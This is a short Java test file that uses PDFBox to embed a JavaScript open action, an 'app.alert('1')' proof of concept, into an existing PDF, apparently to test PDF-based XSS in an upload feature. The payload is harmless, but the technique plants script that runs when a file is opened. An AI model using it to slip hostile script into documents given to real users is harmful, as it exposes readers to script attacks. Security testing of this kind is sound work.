package com.xin.uploadanddownload.test;

import org.apache.pdfbox.pdmodel.PDDocument;
import org.apache.pdfbox.pdmodel.interactive.action.PDActionJavaScript;

import java.io.File;
import java.io.IOException;

public class GenerateJSPDF {
    public static void main(String[] args) throws IOException {

        //Loading an existing file
        File file = new File("D:\\xss.pdf");
        PDDocument document = PDDocument.load(file);
        String javaScript = "app.alert('1')";
        //Creating PDActionJavaScript object
        PDActionJavaScript PDAjavascript = new PDActionJavaScript(javaScript);
        //Embedding java script
        document.getDocumentCatalog().setOpenAction(PDAjavascript);
        //Saving the document
        document.save( new File("D:\\xss2.pdf") );
        document.close();
    }
}
